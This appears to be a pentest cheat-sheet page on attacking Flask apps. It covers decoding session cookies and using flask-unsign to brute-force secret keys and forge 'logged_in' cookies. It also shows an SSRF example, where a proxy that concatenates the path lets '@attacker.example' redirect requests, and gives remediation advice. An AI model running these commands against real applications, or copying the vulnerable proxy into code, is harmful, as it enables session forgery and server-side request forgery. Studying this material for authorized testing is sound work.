// HackTricks · Network Services

Flask

Flask

Flask applications are often useful targets for server-side template injection testing, but the framework alone does not imply that an SSTI vulnerability exists.

Cookies

Flask’s default client-side session cookie is named session. Its contents are serialized and cryptographically signed, but not encrypted: a user can inspect them, while modifying them requires the application’s secret key.[1]

Decoder

The Kirsle Flask session decoder can decode a cookie for inspection.[2] Do not submit real production cookies to third-party services.

Manual

For an uncompressed cookie, take the segment before the first dot, add Base64 padding if needed, and decode the URL-safe Base64 value. A leading dot indicates that the payload is compressed, so the simple command below is not sufficient.

echo "ImhlbGxvIg" | base64 -d

Decoding does not verify the signature and does not reveal the secret key.

Flask-Unsign

flask-unsign can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.[3]

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

RIPsession automates requests with cookies crafted through flask-unsign.[4]

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example uses sqlmap’s --eval option to sign payloads with a known Flask secret.

Unsafe proxy URL concatenation

Research into HTTP parser inconsistencies showed that unusual request targets beginning with @ can reach Flask routes. If an application concatenates that attacker-controlled path directly after a URL authority, the result can be interpreted with the text before @ as user information and the text after it as a new host.[5]

GET @/ HTTP/1.1
Host: target.com
Connection: close

In the following scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
  return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

With a path such as @attacker.example, the constructed URL becomes https://google.com@attacker.example. This is an application-level URL-construction flaw, not an inherent Flask SSRF. Parse the destination, enforce an allowlist for scheme and host, and reject ambiguous request targets.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.